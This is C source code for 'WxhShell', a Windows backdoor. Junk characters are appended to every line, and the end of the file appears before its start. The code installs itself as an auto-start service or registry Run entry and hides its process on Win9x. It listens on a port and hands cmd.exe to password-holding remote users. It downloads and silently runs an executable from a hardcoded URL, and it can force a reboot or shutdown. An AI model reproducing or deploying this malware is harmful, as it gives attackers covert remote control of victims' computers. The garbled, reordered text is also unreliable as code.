    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W>(p4m  
    else { 3eJ"7sftW  
    closesocket(wsh); kESnlmy@J  
    ExitThread(0); cr<ty"3\  
    } g~Agy  
    break; ,)7y? *D}  
    } a) 5;Od  
  // 获取shell Vo:Gp  
  case 's': { =hDFpb,mr  
    CmdShell(wsh); ZT%Q:]B+  
    closesocket(wsh); f%5 s8)  
    ExitThread(0); ? _Y2'O  
    break;  Vq K/GWg  
  } yUp"%_t0  
  // 退出 S 0L"5B@  
  case 'x': { 0dKi25J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R`!'c(V  
    CloseIt(wsh); ^Y- S"Ks  
    break; vK~tgZ&  
    } JN:EcVuy  
  // 离开 e!JC5Al7  
  case 'q': { c 6Z\ecH9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m(?ZNtBQt  
    closesocket(wsh); {|ChwM\x  
    WSACleanup(); OVgx2_F  
    exit(1); 4J6,_8`U  
    break; %$H~  
        } ~AbTbQ3  
  } 2P4$^G[  
  } > lIQM3  
>xJh!w<pB  
  // 提示信息 w,v~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9$oU6#U,h  
} 1feS/l$  
  } I-?Dil3  
Jt}0%C3d  
  return; Ua= w;h  
} !<I3^q  
S@PAtB5  
// shell模块句柄 "J(W)\  
int CmdShell(SOCKET sock) UOAL7  
{ pz]#/Ry?  
STARTUPINFO si; Zbobi,  
ZeroMemory(&si,sizeof(si)); ppu WcGo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :*MqYny&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; > qhoGg  
PROCESS_INFORMATION ProcessInfo; zOzobd   
char cmdline[]="cmd"; ^ H )nQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `(@}O?w!1  
  return 0; {3{cU#\QA  
} c[QXc9  
8#&axg?a  
// 自身启动模式 #\X="' /  
int StartFromService(void) Yl!~w:O!o  
{ + IpC  
typedef struct xesZ 7{ o  
{ \vQjTM-7  
  DWORD ExitStatus; v;m}<3@'  
  DWORD PebBaseAddress; tjIT4  
  DWORD AffinityMask; Yf=Puy}q  
  DWORD BasePriority; 3Sb'){.MT+  
  ULONG UniqueProcessId; , e6}p  
  ULONG InheritedFromUniqueProcessId; //_aIp  
}   PROCESS_BASIC_INFORMATION; h<8.0  
?rG>SA>o  
PROCNTQSIP NtQueryInformationProcess; q V +gQ  
D3BT>zTGK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d5O_~x f&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IxQ(g#sj_k  
=A< Fcl\Rz  
  HANDLE             hProcess; 1<ic 5kB  
  PROCESS_BASIC_INFORMATION pbi; |JD"iP:  
4$^\s5K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]gHi5]\NC  
  if(NULL == hInst ) return 0; 4I97<zmrT  
(+^z9p7/!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wQV[ZfU^h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R&`; C<6}D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8r46Wr7Q  
2a 3RRP  
  if (!NtQueryInformationProcess) return 0; +4Uxq{.K  
X/l{E4Ex  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }KZt7)  
  if(!hProcess) return 0; :g`j gn 0  
IW<nfg  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m\hzQ9  
/P>t3E2c  
  CloseHandle(hProcess); )=vQrMyB  
wcI? .  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zc n/LF  
if(hProcess==NULL) return 0; 7ZsBYP8%  
%gb4(~E+N  
HMODULE hMod; xR`W9Z5  
char procName[255]; Q*J8`J:#^R  
unsigned long cbNeeded; 6(5YvT  
&*4C{N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nbECEQ:|B  
sBLf(Q,  
  CloseHandle(hProcess); Mt93YD-2+  
:~Z -K\  
if(strstr(procName,"services")) return 1; // 以服务启动 }CCTz0[D"  
H>qw@JiO!  
  return 0; // 注册表启动 'Cv>V"X: `  
} Uf ?._&:  
&I|\AG"X}  
// 主模块 'wg>=|Q5  
int StartWxhshell(LPSTR lpCmdLine) "^UJC-  
{ m/T3Um  
  SOCKET wsl; pp2,d`01[L  
BOOL val=TRUE; l 7XeZ} S  
  int port=0; Us.")GiHE  
  struct sockaddr_in door; O_kBAC-|R(  
:Q=tGj\ G  
  if(wscfg.ws_autoins) Install(); PXRkK63  
t{ R\\j  
port=atoi(lpCmdLine); YXi'^GU@  
~fV\ X*  
if(port<=0) port=wscfg.ws_port; `Pcbc\"*y  
Biva{'[m  
  WSADATA data; ?DwI>< W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vx<`6uv  
.yF@Ow  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OtVRhR3>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ki,SFww8r  
  door.sin_family = AF_INET; +}.~"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <y}9Twdy  
  door.sin_port = htons(port); QCD MRh n  
QH d^?H*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GI[TD?s  
closesocket(wsl); O?=YY@j  
return 1; 2I@d=T{K  
} RXD*;B$v  
4!</JZX~$  
  if(listen(wsl,2) == INVALID_SOCKET) { bih%hqny  
closesocket(wsl); ^c-8~r|y,  
return 1; H:k?#7D(  
} yZ:AJNb  
  Wxhshell(wsl); ,l47;@kr  
  WSACleanup(); Sf>#Zqj/  
$0mR_pA\fW  
return 0; .DX-biX,  
x@)G@'vV|  
} JH|]B|3  
@7? O#WmL  
// 以NT服务方式启动 Xt .ca,`U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #hZ`r5GvTj  
{ 7G \a5  
DWORD   status = 0; vH?rln  
  DWORD   specificError = 0xfffffff; j&Trvw<t  
3n!f'" T  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q?* z<)#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 O?bT,"b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QhJuH_f 0  
  serviceStatus.dwWin32ExitCode     = 0; B4Fuvi  
  serviceStatus.dwServiceSpecificExitCode = 0; J85S'cwZZ  
  serviceStatus.dwCheckPoint       = 0; 0Xw$l3@N^  
  serviceStatus.dwWaitHint       = 0; */6lyODf  
TFAd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  3cA '9  
  if (hServiceStatusHandle==0) return; * @=ZzL  
$ o }  
status = GetLastError(); N*`qsv 0  
  if (status!=NO_ERROR) >lV'}0u)  
{ B{lj.S` mB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E Xxv  
    serviceStatus.dwCheckPoint       = 0; ;TC"n!ew  
    serviceStatus.dwWaitHint       = 0; WqJrDj~  
    serviceStatus.dwWin32ExitCode     = status; A`:a T{j  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0sA+5*mdM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EvKzpxCh  
    return; "}x%5/(  
  } mz|p=[lR|  
<5 }  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L"tzUYxg  
  serviceStatus.dwCheckPoint       = 0; $3 =S\jyfK  
  serviceStatus.dwWaitHint       = 0; o* ~aB_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {ldt/dl~  
} bs&>QsI?j  
!+u K@z&G  
// 处理NT服务事件,比如:启动、停止 ;O7Vl5R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (6*  
{ <Ej`zGhWz  
switch(fdwControl) B#G:aBCM  
{ E 1`TQA  
case SERVICE_CONTROL_STOP: )*XD"-9  
  serviceStatus.dwWin32ExitCode = 0; 5HaI$>h6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !pZ<{|cH  
  serviceStatus.dwCheckPoint   = 0; L++qMRk9  
  serviceStatus.dwWaitHint     = 0; FuM:~jv  
  { DF>3)oTF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [DZ|Ltv  
  } G}Ko*:fWS  
  return; klR\7+lK  
case SERVICE_CONTROL_PAUSE: 1\a.o[g3e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3$_JNF`  
  break; N%F4ug@i   
case SERVICE_CONTROL_CONTINUE: j5wfqi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -wT!g;v;%  
  break; a4[t3U  
case SERVICE_CONTROL_INTERROGATE: ?t5<S]'r$  
  break; ed2r<H$  
}; xnf J ruT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pm=m~  
} guG&3{&\s  
y 2)W"PuG  
// 标准应用程序主函数 f92z/5%V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "x vizvR  
{ 3RanAT.nu:  
+0?1"2  
// 获取操作系统版本 Gj?$HFa  
OsIsNt=GetOsVer(); -p?&vQDo`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SpImd IpD  
S@'%dN6e  
  // 从命令行安装 JA*+F1s  
  if(strpbrk(lpCmdLine,"iI")) Install(); VEpcCK  
T(qTipq0  
  // 下载执行文件 ,kf.'N  
if(wscfg.ws_downexe) { q^:VF()d_z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 51u\am'T  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ta[\BWR2  
} |dz"uIrT  
! Sw=ns7  
if(!OsIsNt) { )o<^6Ic%7  
// 如果时win9x,隐藏进程并且设置为注册表启动 #N"u 0  
HideProc(); jo^c>ur  
StartWxhshell(lpCmdLine); fZj,Q#}D  
} \ @ fKKb|  
else [_nOo`  
  if(StartFromService()) x9AFN  
  // 以服务方式启动 Xi1|%  
  StartServiceCtrlDispatcher(DispatchTable); Gx8!AmeX  
else /y$Fw9R;  
  // 普通方式启动 araXE~Ac  
  StartWxhshell(lpCmdLine); x+j@YWDpG"  
0ki- /{;  
return 0; |1 "&[ .  
} @ ?M\[qeF@  
Pmo<t6  
:SS \2  
I8YUq   
=========================================== bD0l^?Hu!  
t^KQ*8clG  
0F@~[W|2  
y^,QM[&  
`!/[9Y#Hp  
'9Z`y_~)G  
" ^8;MY5Wbs  
v@soS1V!  
#include <stdio.h> ZX` \so,&,  
#include <string.h> 0\{dt4nW&O  
#include <windows.h> ,puoq {  
#include <winsock2.h> |67Jw2  
#include <winsvc.h> CYLab5A  
#include <urlmon.h> yAryw{(  
)gEE7Ex?  
#pragma comment (lib, "Ws2_32.lib") X'jyR:ut#  
#pragma comment (lib, "urlmon.lib") aL4^ po  
XZb=;tYo  
#define MAX_USER   100 // 最大客户端连接数 *: @KpYWx"  
#define BUF_SOCK   200 // sock buffer O{_t*sO9q*  
#define KEY_BUFF   255 // 输入 buffer ~c35Y9-5  
oj - `G  
#define REBOOT     0   // 重启 1hY|XZ%qd  
#define SHUTDOWN   1   // 关机 'RV96lX<  
Vo@7G@7K(  
#define DEF_PORT   5000 // 监听端口 Q-'j131[  
Qdq;C,}Ai.  
#define REG_LEN     16   // 注册表键长度 oI{.{]  
#define SVC_LEN     80   // NT服务名长度 U L $!  
Dj(PH3^  
// 从dll定义API ~j'D%:[+VH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i90X0b-A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `s}L3bR]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N!(mM;1X)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rJpr;QKf%  
ZOEe-XW  
// wxhshell配置信息 Nn[*ox#i  
struct WSCFG { g:M;S"U3*Y  
  int ws_port;         // 监听端口 %=UD~5!G0  
  char ws_passstr[REG_LEN]; // 口令 -xHR6  
  int ws_autoins;       // 安装标记, 1=yes 0=no x vs=T  
  char ws_regname[REG_LEN]; // 注册表键名 jg710.v:  
  char ws_svcname[REG_LEN]; // 服务名 >K9Ia4I,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [f_^B U&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~#sD2b` 0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -wXeue},>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _ p\L,No  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  4u:SE   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ']1n?K=A  
mH$tG $  
}; /*qRbN  
i<"lXu  
// default Wxhshell configuration XGB\rf vS  
struct WSCFG wscfg={DEF_PORT, D5lQ0_IeW  
    "xuhuanlingzhe", NfvPE]S  
    1, X<L=*r^C,=  
    "Wxhshell", ^cYB.oeu  
    "Wxhshell", L+8ar9es  
            "WxhShell Service", >5 -1?vi  
    "Wrsky Windows CmdShell Service", u}iuf_  
    "Please Input Your Password: ", A9.TRKb=8  
  1, bTum|GWf  
  "http://www.wrsky.com/wxhshell.exe", wb$uq/|  
  "Wxhshell.exe" /Q;wz!V$  
    }; Z~J]I|R:  
G,)zn9X  
// 消息定义模块 ,.<mj !YE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f;{Q ~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XQy`5iv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {XOl &  
char *msg_ws_ext="\n\rExit."; '0HOL)cIz  
char *msg_ws_end="\n\rQuit."; cU6*y!}9  
char *msg_ws_boot="\n\rReboot..."; nQiZ6[L  
char *msg_ws_poff="\n\rShutdown..."; iJzBd7  
char *msg_ws_down="\n\rSave to "; 4C*ywP  
uV5uZ  
char *msg_ws_err="\n\rErr!"; T?7u [D[[  
char *msg_ws_ok="\n\rOK!"; RCWmdR#}V  
:*Wq%Y=  
char ExeFile[MAX_PATH]; 7zG r+Px  
int nUser = 0; 3k1e  
HANDLE handles[MAX_USER]; o !tC{"g  
int OsIsNt; 4,)9@-|0R  
m{Q #f\<  
SERVICE_STATUS       serviceStatus; K0.aU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u}5CzV`  
XO <0;9|  
// 函数声明 c]^P$F8U  
int Install(void); oXm !  
int Uninstall(void); ? Lg(,-:  
int DownloadFile(char *sURL, SOCKET wsh); ?h}NL5a  
int Boot(int flag); yx]9rD1cz  
void HideProc(void); : B^"V\WE  
int GetOsVer(void); *JJ8\R&P0  
int Wxhshell(SOCKET wsl); Jq/itsg  
void TalkWithClient(void *cs); DPI[~  
int CmdShell(SOCKET sock); ` s7pM  
int StartFromService(void); Xz^nm\  
int StartWxhshell(LPSTR lpCmdLine); .!o]oM U/  
J0!V(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nj s:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Dj\nsc@e3  
*`H*@2  
// 数据结构和表定义 P(shbi@  
SERVICE_TABLE_ENTRY DispatchTable[] = -pC'C%Q  
{ /yI4;:/  
{wscfg.ws_svcname, NTServiceMain}, aC,adNub  
{NULL, NULL} D;R~!3f./b  
}; &s".hP6  
n4{%M  
// 自我安装 &>\;4E.O5  
int Install(void) ve d]X!  
{ 'gf[Wjb,%  
  char svExeFile[MAX_PATH]; 6|eqQ+(A  
  HKEY key; ^C'S-2nGH  
  strcpy(svExeFile,ExeFile); \ptO4E  
r XJx~ g  
// 如果是win9x系统,修改注册表设为自启动 t W UI?\  
if(!OsIsNt) { cr!8Tp;2A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y RxrfAdS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B'yjMY![  
  RegCloseKey(key); aF 2vgE\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rDWAZ<;;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B/ 4M;G~  
  RegCloseKey(key); ^{}G4BEY  
  return 0; W:i Q& [f  
    } uY5|Nmiu  
  } 8$}<4 `39  
} F+hV'{|w`  
else { @\g}I`_M  
D)PX|xrn  
// 如果是NT以上系统,安装为系统服务 ZO%^r%~s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xrg"/?84  
if (schSCManager!=0) D)-LZbPa  
{ IS]A<}j/-  
  SC_HANDLE schService = CreateService 1X)#iY  
  ( 2PQBUq  
  schSCManager, ":/c|!  
  wscfg.ws_svcname, ??/bI~Sd  
  wscfg.ws_svcdisp, !gkr?yhE  
  SERVICE_ALL_ACCESS, +v B}E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a[K&;)  
  SERVICE_AUTO_START, ^Gd1 T  
  SERVICE_ERROR_NORMAL, B!+c74  
  svExeFile, qArR5OJ  
  NULL, UCVYO. 9"  
  NULL, ?6_]^:s  
  NULL, AW r2Bv  
  NULL, V(TtOuv  
  NULL Osqk#Oh  
  ); ya2sS9^T[  
  if (schService!=0) 8[@,i|kgg0  
  { "_UnN}Uk  
  CloseServiceHandle(schService); z- q.8~Z  
  CloseServiceHandle(schSCManager); b]u=I za  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {qw'gJmX  
  strcat(svExeFile,wscfg.ws_svcname); w,IJ44f ^%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $ #!oejLD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~m fG Yk"  
  RegCloseKey(key);  C O6}D  
  return 0; a~yiLq  
    } 5 SQ!^1R 9  
  } [7><^?t V  
  CloseServiceHandle(schSCManager); uYebRCdR  
} 2(d  
} L!JC)p.  
4]1/{</B|  
return 1; ll5;09  
} /5E0'y,|P  
;I5P<7VW  
// 自我卸载 .J-k^+-  
int Uninstall(void) T4W20dxL7  
{ #eYYu2ND  
  HKEY key; v^eAQoFLhN  
ubB1a_7  
if(!OsIsNt) { &7'=t6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qD%88c)g  
  RegDeleteValue(key,wscfg.ws_regname); qVU<jt  
  RegCloseKey(key); N]yT/8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KF&8l/f  
  RegDeleteValue(key,wscfg.ws_regname); ` u3kP  
  RegCloseKey(key); 8@vq.z}  
  return 0; 'R1C-U3w,  
  } *ssw`}yE'  
} !43nL[]  
} %x#S?GMV<  
else { + _ehzo97  
MNU7OX<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F$>#P7ph\a  
if (schSCManager!=0) 6MOwn*%5k  
{ 4r;le5@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $Ud9v4  
  if (schService!=0) HpbwW=;V  
  { b w1s?_P  
  if(DeleteService(schService)!=0) { bBINjs8C_  
  CloseServiceHandle(schService); Z^]Oic/0Oa  
  CloseServiceHandle(schSCManager); bLl ?!G.  
  return 0; &T-:`(  
  } E_& ;.hw  
  CloseServiceHandle(schService); =WN8> <K!  
  } oTk\r$4eb  
  CloseServiceHandle(schSCManager); y-@`3hYM@  
} 8F\'? 7  
} 0<A*I{,4L  
)cgNf]oy  
return 1; =Q;dYx%I5  
} :V"e+I  
"@ZwDg`  
// 从指定url下载文件 ci%$So 2#  
int DownloadFile(char *sURL, SOCKET wsh) v7j/_;JE;  
{ Oc~<`C~  
  HRESULT hr; y2g)*T!m  
char seps[]= "/"; PtPx(R3  
char *token; cooicKS7  
char *file; {'P?wv  
char myURL[MAX_PATH]; Cjt].XR@  
char myFILE[MAX_PATH]; Yk{4 3yw  
! .Pbbs%  
strcpy(myURL,sURL); cgcU2N6y;  
  token=strtok(myURL,seps); ty;a!yjC  
  while(token!=NULL) "@+Z1k-8U  
  { U2Siw   
    file=token; *ax&}AHK[/  
  token=strtok(NULL,seps); c#9=o;1El  
  } $W;r S7b  
|em_l$oGc  
GetCurrentDirectory(MAX_PATH,myFILE); c ]ll89`||  
strcat(myFILE, "\\"); N+UBXhh  
strcat(myFILE, file); \J~@r1  
  send(wsh,myFILE,strlen(myFILE),0); Fyz1LOH[X  
send(wsh,"...",3,0); 8N<2RT8W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'cN3Vv k  
  if(hr==S_OK) fob.?ID-;  
return 0; *[3tGiUJ  
else LK|rLoia:  
return 1; bT:;^eG"  
WD8F]+2O\  
} qpB8ujj<V  
0;5qo~1  
// 系统电源模块 gE&83i"  
int Boot(int flag) p?s[I)e  
{ p1s& y0:d  
  HANDLE hToken; N@? z&urQi  
  TOKEN_PRIVILEGES tkp; x50ZwV&j  
 N,ihQB5  
  if(OsIsNt) { n~yhX%=_Du  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b9 l%5a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p ^I#9(PT  
    tkp.PrivilegeCount = 1; x]"N:t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l\bgp3.+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G/Yqvu,2!  
if(flag==REBOOT) { }(UU~V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H1ox>sC  
  return 0; 35#"]l"  
} 4^w`] m  
else { ^,fMs:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) UTxqqcqEny  
  return 0; Y7@$#/1  
} \avgXndI  
  } Q[%+y.  
  else { 'CjcFP  
if(flag==REBOOT) { tc<HA7vpt~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UNescZ  
  return 0; ;LFs.Jc<  
} RATW[(ZA  
else { Z'\{hL S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $mDlS  
  return 0; |D[4 G6&  
} 2u^/yl  
} OR-fC  
)tR@\G>%  
return 1; V%'+ ob6  
} `BKV/Xl  
j?oh~7Ki  
// win9x进程隐藏模块 MN. $a9m  
void HideProc(void) &/]g@^h9  
{ wD`jks  
{-e|x&-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~g|z7o  
  if ( hKernel != NULL ) #bdSH)V  
  { lX|d:HFtP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H6%%n X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^@n?&  
    FreeLibrary(hKernel); g/e2t=qP  
  } GUdVsZjz(  
.0u@PcE:O  
return; z(_#C s  
}  `\#J&N  
_';oT*#  
// 获取操作系统版本 &! MV!9$  
int GetOsVer(void) QwgP+ M+  
{ 4 .d~u@=  
  OSVERSIONINFO winfo; 0l>4Umxr{J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *Bm _  
  GetVersionEx(&winfo); zDx*R3%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ya0D5 0m  
  return 1; I<^&~==  
  else w{5v*SHl}`  
  return 0; qA5PIEvdq  
} W]= $0'  
 ]pP:  
// 客户端句柄模块 QO(P_az3mg  
int Wxhshell(SOCKET wsl) QFX )Nov];  
{ G[M{TS3&Ds  
  SOCKET wsh; 1/% g VB8  
  struct sockaddr_in client; ;<)<4N"  
  DWORD myID; $`Hb -  
@eU5b63jM  
  while(nUser<MAX_USER) @fO[{V  
{ f?|cQ[#t!\  
  int nSize=sizeof(client); Z_}[hz$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UUaC@Rs2  
  if(wsh==INVALID_SOCKET) return 1; /yNLFL"  
3}9c0%}F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WXX)_L$2  
if(handles[nUser]==0) 2E*h,Mo  
  closesocket(wsh); h k.Zn.6A'  
else nb,+!)+  
  nUser++; 3C7}V{?  
  } P!K;`4Ika  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1NQstmd{  
Hm*?<o9mxC  
  return 0; ?3|jB?:k  
} 0G}]d17ho  
\1R<GBC4  
// 关闭 socket 2~(\d\k  
void CloseIt(SOCKET wsh) _m2p>(N|  
{ l11+sqg  
closesocket(wsh); 6< O|,7=_  
nUser--; 7IUu] Fi  
ExitThread(0); =LHz[dSL  
} B(B77SOb  
Z/~7N9?m(  
// 客户端请求句柄 (+lCh7.  
void TalkWithClient(void *cs) H". [&VP5Z  
{ &x>8 %Q s  
vS'l@`Eg]  
  SOCKET wsh=(SOCKET)cs; ,wPvv(b]a  
  char pwd[SVC_LEN]; R-lpsvDDL2  
  char cmd[KEY_BUFF]; vn Ol-`Z ~  
char chr[1]; @=G6fW:  
int i,j; bj$VYS"kY  
VS ?npH  
  while (nUser < MAX_USER) { -jdhdh  
3tu:Vc.:M  
if(wscfg.ws_passstr) { O\&-3#e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U1;<NUg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  A4  
  //ZeroMemory(pwd,KEY_BUFF); ZW)_dg9  
      i=0; )g ; !IL  
  while(i<SVC_LEN) { dDxb}d x8  
eb#p-=^KP  
  // 设置超时 w+W! dM  
  fd_set FdRead; S<nf"oy_K  
  struct timeval TimeOut; %]1.)j  
  FD_ZERO(&FdRead); :HW\awv  
  FD_SET(wsh,&FdRead); 8o%g2 P9.  
  TimeOut.tv_sec=8; &V77Wn OY  
  TimeOut.tv_usec=0; 8K@>BFk1.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5zi}O GtXv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V''?kVJ  
%`)lCK)2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -~=?g9fGm6  
  pwd=chr[0]; J_`a}ox  
  if(chr[0]==0xd || chr[0]==0xa) { unD.t  
  pwd=0; 4];<` %  
  break; $rV4JROb  
  } T:!f_mu|  
  i++; 7,7-E&d  
    } pgipT#_K  
=;A >1g$  
  // 如果是非法用户,关闭 socket Da-U@e!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rx,5?*b$  
} `W9~u: F  
CAa&,ZR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z66h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x +]ek  
|A,<m#C  
while(1) { &qyXi[vw  
;FnU[Q`M#L  
  ZeroMemory(cmd,KEY_BUFF); 7#+>1 "\  
twP%+/g]<  
      // 自动支持客户端 telnet标准   \]|(w*C  
  j=0; \&\U&^?  
  while(j<KEY_BUFF) { t>}(` 0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3-v&ktD&N'  
  cmd[j]=chr[0]; Pe/8=+qO  
  if(chr[0]==0xa || chr[0]==0xd) { Uu[dx}y  
  cmd[j]=0; (i;,D-  
  break; a3J' c  
  } p1!-|Sqq  
  j++; L};P*{q2Z  
    } L Z}m;  
LbUH`0:%t  
  // 下载文件 tSVU,m  
  if(strstr(cmd,"http://")) { 4L/nEZ!Nsu  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WP5Vev9*+  
  if(DownloadFile(cmd,wsh)) GJIZu&C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); js;k,`  
  else nSp OTQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @k9n0Qe|F  
  } GG %*d]  
  else {  PckAL  
4m!w<c0NL  
    switch(cmd[0]) { !@>q^_Gez  
